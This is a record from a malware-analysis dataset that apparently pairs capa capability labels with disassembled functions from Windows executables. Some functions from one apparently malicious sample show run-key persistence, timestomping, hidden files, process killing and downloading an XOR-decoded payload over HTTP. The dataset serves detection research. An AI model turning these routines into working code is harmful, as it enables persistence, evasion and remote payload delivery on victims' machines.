joyce8/EMBER2024-capa huggingface dataset:
Function at 0x490188
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x490365
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x28]
xor ecx, ecx
mov edx, 0x24
call fcn.00403238
lea eax, [ebp - 0x28]
push eax
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [ebp - 0x14]
mov dword [0x4c5548], eax
mov eax, dword [ebp - 0xc]
mov dword [0x4c554c], eax
mov eax, dword [ebp - 0x24]
mov dword [0x4c5550], eax
mov eax, dword [0x4c741c]
cmp dword [eax], 2
sete byte [0x4c4ef4]
push 0x490370
call sub.kernel32.dll_GetModuleHandleA_2
lea edx, [ebp - 4]
call fcn.00490b90
cmp byte [0x4c4ef4], 0
jne 0x490214
lea edx, [ebp - 0x5c]
mov eax, dword [ebp - 4]
call fcn.00490cd4
test al, al
je 0x490214
mov eax, dword [ebp - 0x4c]
mov dword [0x4c9d18], eax
jmp 0x49021b
xor eax, eax
mov dword [0x4c9d18], eax
call fcn.0048fec8
and eax, 0x7f
cmp eax, 0x12
ja case.0x49022c.0
jmp dword [eax*4 + 0x490233]
mov byte [0x4c4ee0], 1
jmp case.0x49022c.0
mov byte [0x4c4ee4], 1
jmp case.0x49022c.0
mov byte [0x4c4ee8], 1
jmp case.0x49022c.0
mov byte [0x4c4eec], 1
jmp case.0x49022c.0
mov byte [0x4c4ef0], 1
jmp case.0x49022c.0
mov byte [0x4c4ef8], 1
mov byte [0x4c4efc], 1
jmp case.0x49022c.0
mov byte [0x4c4ef8], 1
mov byte [0x4c4f00], 1
jmp case.0x49022c.0
mov byte [0x4c4ef8], 1
mov byte [0x4c4f00], 1
mov byte [0x4c4f04], 1
jmp case.0x49022c.0
mov byte [0x4c4f08], 1
jmp case.0x49022c.0
mov byte [0x4c4f0c], 1
jmp case.0x49022c.0
mov byte [0x4c4f10], 1
jmp case.0x49022c.0
mov byte [0x4c4f14], 1
jmp case.0x49022c.0
mov byte [0x4c4f18], 1
jmp case.0x49022c.0
mov byte [0x4c4f1c], 1
jmp case.0x49022c.0
mov byte [0x4c4f20], 1
jmp case.0x49022c.0
mov byte [0x4c4f24], 1
jmp case.0x49022c.0
mov byte [0x4c4f28], 1
jmp case.0x49022c.0
mov byte [0x4c4f2c], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49036c
lea eax, [ebp - 4]
call fcn.00404780
ret

Function at 0x490cd4
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x490d7b
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
mov eax, esi
call fcn.00404c40
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov edi, eax
test edi, edi
jbe 0x490d65
lea eax, [ebp - 0x10]
mov edx, edi
call fcn.00404dcc
mov eax, dword [ebp - 0x10]
push eax
push edi
mov eax, dword [ebp - 0xc]
push eax
mov eax, esi
call fcn.00404c40
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x490d65
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x490d8c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x490d65
cmp dword [ebp - 8], 0x34
jne 0x490d65
mov bl, 1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
mov esi, eax
mov edi, edx
mov ecx, 0xd
rep movsd dword es:[edi], dword [esi]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x490d82
lea eax, [ebp - 0x10]
call fcn.00404780
ret
Function at 0x491478
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
call fcn.00491434
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4914ec
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [0x4c9d44], eax
mov ebx, 0x4913c0
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4914ec
xor eax, eax
push ebp
push 0x4914e5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov dword [eax], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4914ec
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtect
ret
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4914f4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
call fcn.00491434
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x49155f
mov ebx, dword [0x4c9d44]
lea eax, [ebp - 8]
push eax
push 0x40
push 4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x49155f
xor eax, eax
push ebp
push 0x491558
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov dword [eax], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49155f
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 4
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualProtect
ret
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x496244
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x496272
mov eax, ebx
call fcn.00496cf8
cmp dword [ebx + 0x40], 0
je 0x49626b
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4962e3
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4962d5
cmp dword [ebx + 8], 0
je 0x496294
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4962a6
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4962d5
cmp dword [ebx + 8], 0
je 0x496287
cmp eax, 3
je 0x4962b9
dec eax
jne 0x496287
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x496287
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x496287
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x496301
cmp dword [ebx + 0x14], 0xcc
je 0x496301
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0049630c
pop ebx
ret
Function at 0x4b5144
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x60], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c30
xor eax, eax
push ebp
push 0x4b520a
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 1
lea eax, [ebp - 0x48]
mov edx, 0x44
call fcn.00407934
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404c40
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x4b51e5
mov eax, dword [ebp - 0x50]
mov dword [esi], eax
mov eax, dword [esi]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x60]
call fcn.0040937c
mov ecx, dword [ebp - 0x60]
lea eax, [ebp - 0x5c]
mov edx, 0x4b5224
call fcn.00404a8c
mov eax, dword [ebp - 0x5c]
call fcn.004b4dc4
push 0xffffffffffffffff
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_WaitForSingleObject
jmp 0x4b51e7
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b5211
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.004047a4
lea eax, [ebp - 4]
call fcn.00404780
ret
Function at 0x4c1f84
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
xor ebx, ebx
mov eax, dword [0x4c741c]
cmp dword [eax], 2
jne 0x4c203a
cmp dword [0x4c6a04], 0
jne 0x4c1fad
push 0x4c2040
call sub.kernel32.dll_LoadLibraryA
mov dword [0x4c6a04], eax
cmp dword [0x4c6a04], 0x20
jbe 0x4c203a
push 0x4c204c
mov eax, dword [0x4c6a04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4c9ec8], eax
push 0x4c205c
mov eax, dword [0x4c6a04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4c9ec4], eax
push 0x4c2074
mov eax, dword [0x4c6a04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4c9eb4], eax
push 0x4c208c
mov eax, dword [0x4c6a04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4c9eb8], eax
push 0x4c20a0
mov eax, dword [0x4c6a04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4c9ebc], eax
push 0x4c20b8
mov eax, dword [0x4c6a04]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x4c9ec0], eax
mov bl, 1
mov eax, ebx
pop ebx
ret
Function at 0x401040
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov ebx, 0x4333b4
mov dword [ebp - 8], 0
mov eax, dword [ebx]
inc eax
push eax
call fcn.0041ceb7
mov edi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 4], edi
cmp dword [ebx], eax
jbe 0x401082
lea esp, [esp]
mov ecx, dword [ebx + 4]
mov dl, byte [ecx + eax]
xor dl, byte [ebx - 4]
inc eax
mov byte [eax + edi - 1], dl
cmp eax, dword [ebx]
jb 0x401070
mov byte [eax + edi], 0
mov ecx, dword [0x43959c]
mov edx, dword [0x439598]
lea eax, [ebp - 4]
cmp eax, ecx
jae 0x401109
cmp edx, eax
ja 0x401109
mov esi, dword [0x4395a0]
mov edi, eax
sub edi, edx
sar edi, 2
cmp ecx, esi
jne 0x4010fe
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40118c
sub esi, edx
inc eax
sar esi, 2
cmp eax, esi
jbe 0x4010fe
mov ecx, esi
mov edx, ecx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x4010df
xor ecx, ecx
jmp 0x4010e1
add ecx, edx
cmp ecx, eax
jae 0x4010e7
mov ecx, eax
push ecx
mov esi, 0x439598
call fcn.00401200
mov ecx, dword [0x43959c]
mov edx, dword [0x439598]
test ecx, ecx
je 0x401165
mov edx, dword [edx + edi*4]
mov dword [ecx], edx
jmp 0x40115f
mov esi, dword [0x4395a0]
cmp ecx, esi
jne 0x401159
mov eax, ecx
sub eax, edx
sar eax, 2
cmp eax, 0x3ffffffe
ja 0x40118c
sub esi, edx
mov edx, esi
inc eax
sar edx, 2
cmp eax, edx
jbe 0x401159
mov ecx, edx
shr edx, 1
mov esi, 0x3fffffff
sub esi, edx
cmp esi, ecx
jae 0x401140
xor ecx, ecx
jmp 0x401142
add ecx, edx
cmp ecx, eax
jae 0x401148
mov ecx, eax
push ecx
mov esi, 0x439598
call fcn.00401200
mov ecx, dword [0x43959c]
test ecx, ecx
je 0x401165
mov dword [ecx], edi
mov ecx, dword [0x43959c]
mov eax, dword [ebp - 8]
add eax, 0xc
add ecx, 4
add ebx, 0xc
mov dword [0x43959c], ecx
mov dword [ebp - 8], eax
cmp eax, 0x210
jb 0x401055
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x4335c0
call fcn.0041ce49
int3
Function at 0x401a50
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
add esp, 8
xor esi, esi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x4335dc
push closesocket
call edi
mov eax, dword [ebp - 4]
test eax, eax
je 0x401ab4
mov ecx, dword [esi*4 + 0x4395a8]
push 0
push 0
push 0
push 0
push ecx
push eax
call ebx
test eax, eax
je 0x401ad9
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, 8
jl 0x401a75
call fcn.0041d865
and eax, 0x80000007
jns 0x401acb
dec eax
or eax, 0xfffffff8
inc eax
mov eax, dword [eax*4 + 0x4395a8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esi*4 + 0x4395a8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401b00
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
call fcn.0041db6e
push eax
call fcn.0041d853
add esp, 8
call fcn.00401840
mov esi, eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401c37
push 0x43360c
push esi
call fcn.0041d831
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x401c37
push ebx
xor edi, edi
call fcn.0041d725
add esp, 4
test eax, eax
jne 0x401bc7
lea eax, [ebp - 0x104]
push eax
push 0x433610
push ebx
mov byte [ebp - 0x104], 0
call fcn.0041d681
add esp, 0xc
mov ecx, 0x43360e
lea eax, [ebp - 0x104]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401bb0
test dl, dl
je 0x401bac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401bb0
add eax, 2
add ecx, 2
test dl, dl
jne 0x401b90
xor eax, eax
jmp 0x401bb5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x401bba
inc edi
push ebx
call fcn.0041d725
add esp, 4
test eax, eax
je 0x401b63
push 0
push 0
push ebx
call fcn.0041d910
add esp, 0xc
test edi, edi
jle 0x401c2e
push 0x100
call fcn.0041ceb7
mov esi, eax
add esp, 4
mov byte [esi], 0
call fcn.0041d865
cdq
idiv edi
test edx, edx
js 0x401c12
lea edi, [edx + 1]
lea esp, [esp]
push esi
push 0x433610
push ebx
call fcn.0041d681
add esp, 0xc
dec edi
jne 0x401c00
push ebx
call fcn.0041dafa
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
push ebx
call fcn.0041dafa
add esp, 4
push esi
call fcn.0041d848
add esp, 4
call fcn.0041d865
mov edi, dword [0x4395e4]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401c50
sub eax, edx
add eax, 8
push eax
call fcn.0041ceb7
mov esi, eax
add esp, 4
mov ecx, edi
sub esi, edi
jmp 0x401c70
mov dl, byte [ecx]
mov byte [esi + ecx], dl
inc ecx
test dl, dl
jne 0x401c70
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
Function at 0x401c90
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x433614
push eax
xor bl, bl
call fcn.0041d831
mov esi, eax
add esp, 8
test esi, esi
je 0x401d0f
mov ecx, dword [ebp + 8]
push edi
push 0x433618
push ecx
call fcn.0041d831
mov edi, eax
add esp, 8
test edi, edi
je 0x401d05
push esi
call fcn.0041d725
add esp, 4
test eax, eax
jne 0x401cfa
push esi
push 1
lea edx, [ebp - 1]
push 1
push edx
call fcn.0041defd
push edi
push 1
lea eax, [ebp - 1]
push 1
push eax
call fcn.0041e071
push esi
call fcn.0041d725
add esp, 0x24
test eax, eax
je 0x401cd1
push edi
mov bl, 1
call fcn.0041dafa
add esp, 4
push esi
call fcn.0041dafa
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401d20
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x43361c
mov dword [ebp - 0x98], eax
call fcn.0041da13
add esp, 4
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401d50
sub eax, edx
add eax, 0x20
push eax
call fcn.0041ceb7
push 0x43361c
mov edi, eax
call fcn.0041da13
push eax
push 0x433628
push edi
call fcn.0041d6a1
mov ebx, dword [sym.imp.KERNEL32.dll_OpenFile]
add esp, 0x14
push 0
lea ecx, [ebp - 0x94]
push ecx
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x401de1
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x98]
push 2
lea eax, [ebp - 0x94]
push eax
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x401de1
push 0
push 0
lea edx, [ebp - 0xa0]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0041d848
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
Function at 0x401f40
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42eb4b
mov eax, dword fs:[0]
push eax
sub esp, 0x41c
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
push esi
lea eax, [ebp - 0x424]
push eax
mov edi, ecx
mov ebx, edx
mov dword [ebp - 0x424], esi
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x402133
cmp byte [0x439568], 0
mov dword [ebp - 0x414], esi
jne 0x401fab
call fcn.00401040
mov byte [0x439568], 1
mov ecx, dword [0x439598]
mov eax, dword [ecx + 0x9c]
push esi
push esi
push esi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
mov dword [ebp - 0x428], esi
test esi, esi
je 0x40212d
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
mov dword [ebp - 0x418], edi
test edi, edi
je 0x402126
push 1
push 0x400000
push 0
push 0
push 0
push ebx
push 0x433638
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x40211f
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x402118
push 1
call fcn.0041e44a
mov esi, eax
xor eax, eax
add esp, 4
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x41c], eax
lea edx, [ebp - 0x414]
push edx
mov dword [ebp - 4], eax
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4020f6
mov edi, dword [ebp - 0x414]
test edi, edi
je 0x4020b2
lea ecx, [ebp - 0x410]
push ecx
lea esi, [ebp - 0x420]
mov byte [ebp + edi - 0x410], 0
call fcn.00402ae0
lea edx, [ebp - 0x414]
push edx
push 0x3ff
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402070
mov eax, dword [ebp - 0x41c]
test eax, eax
jle 0x4020ea
inc eax
push eax
call fcn.0041ceb7
mov esi, dword [ebp - 0x420]
mov edx, eax
add esp, 4
mov dword [ebp - 0x414], edx
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x4020d8
mov edi, dword [ebp - 0x418]
jmp 0x402109
mov esi, dword [ebp - 0x420]
mov edi, dword [ebp - 0x418]
push 8
call fcn.0041ceb7
add esp, 4
mov dword [ebp - 0x414], eax
mov byte [eax], 0
push esi
call fcn.0041e410
mov esi, dword [ebp - 0x428]
add esp, 4
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041cec2
mov esp, ebp
pop ebp
ret
Function at 0x402dd0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x436064]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
lea eax, [ebp - 0x134]
push eax
push ebx
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402ee1
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
jmp 0x402e10
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402e20
sub eax, edx
inc eax
push eax
call fcn.0041ceb7
mov esi, eax
lea eax, [ebp - 0x110]
mov edx, esi
mov ecx, eax
add esp, 4
sub edx, ecx
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402e41
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402e50
sub eax, edx
mov edx, eax
xor ecx, ecx
test edx, edx
jle 0x402e76
mov al, byte [ecx + esi]
cmp al, 0x41
jl 0x402e71
cmp al, 0x5a
jg 0x402e71
add al, 0x20
mov byte [ecx + esi], al
inc ecx
cmp ecx, edx
jl 0x402e61
mov ecx, dword [ebp + 8]
mov eax, esi
jmp 0x402e80
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402ea0
test dl, dl
je 0x402e9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402ea0
add eax, 2
add ecx, 2
test dl, dl
jne 0x402e80
xor eax, eax
jmp 0x402ea5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402ec2
mov edx, dword [ebp - 0x12c]
push edx
push eax
push 1
call edi
test eax, eax
je 0x402ec2
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.0041d848
add esp, 4
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402e10
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
pop esi
call fcn.0041cec2
mov esp, ebp
pop ebp
ret

Function at 0x402f00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push 0x184
push 0
push esi
xor bl, bl
call fcn.00423a10
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x4337c0
push closesocket
mov dword [ebp - 8], 0x184
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x402f64
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x402f5a
mov bl, 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4039b0
Capabilities:
Get hostname
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
call fcn.00401840
cmp byte [0x439568], 0
mov dword [ebp - 4], eax
jne 0x4039d6
call fcn.00401040
mov byte [0x439568], 1
mov eax, dword [0x439598]
mov eax, dword [eax + 0xa4]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4039e4
mov ebx, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub eax, edx
mov esi, eax
cmp byte [0x439569], cl
jne 0x403a24
push 0x100
call fcn.0041ceb7
add esp, 4
lea ecx, [ebp - 8]
push ecx
push eax
mov dword [0x43953c], eax
mov dword [ebp - 8], 0x100
call ebx
mov byte [0x439569], 1
mov eax, dword [0x43953c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403a30
sub eax, edx
lea edx, [eax + esi + 0x20]
push edx
call fcn.0041ceb7
add esp, 4
cmp byte [0x439569], 0
mov edi, eax
jne 0x403a78
push 0x100
call fcn.0041ceb7
add esp, 4
lea ecx, [ebp - 8]
push ecx
push eax
mov dword [0x43953c], eax
mov dword [ebp - 8], 0x100
call ebx
mov byte [0x439569], 1
cmp byte [0x439568], 0
mov esi, dword [0x43953c]
jne 0x403a93
call fcn.00401040
mov byte [0x439568], 1
mov edx, dword [0x439598]
mov eax, dword [edx + 0xa4]
push esi
push eax
push 0x433944
push edi
call fcn.0041d6a1
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
cmp byte [0x439568], 0
jne 0x403aca
call fcn.00401040
mov byte [0x439568], 1
mov ecx, dword [0x439598]
mov ecx, dword [ecx + 0xc]
mov edx, edi
call fcn.00401f40
mov esi, eax
test esi, esi
jne 0x403ae9
push 0x7530
call ebx
jmp 0x403ab5
push edi
call fcn.0041d848
mov eax, esi
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403af7
sub eax, edx
je 0x403bb2
mov bl, byte [0x439568]
test bl, bl
jne 0x403b1d
call fcn.00401040
mov bl, 1
mov byte [0x439568], bl
mov edx, dword [0x439598]
mov eax, dword [edx + 8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403b30
sub eax, edx
mov dword [ebp - 8], eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403b41
sub eax, edx
mov edi, eax
test bl, bl
jne 0x403b5c
call fcn.00401040
mov byte [0x439568], 1
mov eax, dword [0x439598]
mov edx, dword [eax + 8]
xor eax, eax
xor ecx, ecx
test edi, edi
jle 0x403b81
cmp ecx, dword [ebp - 8]
jl 0x403b73
xor ecx, ecx
mov bl, byte [ecx + edx]
neg bl
xor byte [eax + esi], bl
inc eax
inc ecx
cmp eax, edi
jl 0x403b6c
mov ebx, dword [ebp - 4]
push 0x43395c
push ebx
call fcn.0041d831
mov edi, eax
add esp, 8
test edi, edi
je 0x403bb5
push esi
push 0x433610
push edi
call fcn.0041e99d
add esp, 0xc
push edi
call fcn.0041dafa
add esp, 4
jmp 0x403bb5
mov ebx, dword [ebp - 4]
push 6
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
call fcn.00401d20
add esp, 4
push esi
call fcn.0041d848
add esp, 4
push ebx
call fcn.0041d848
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret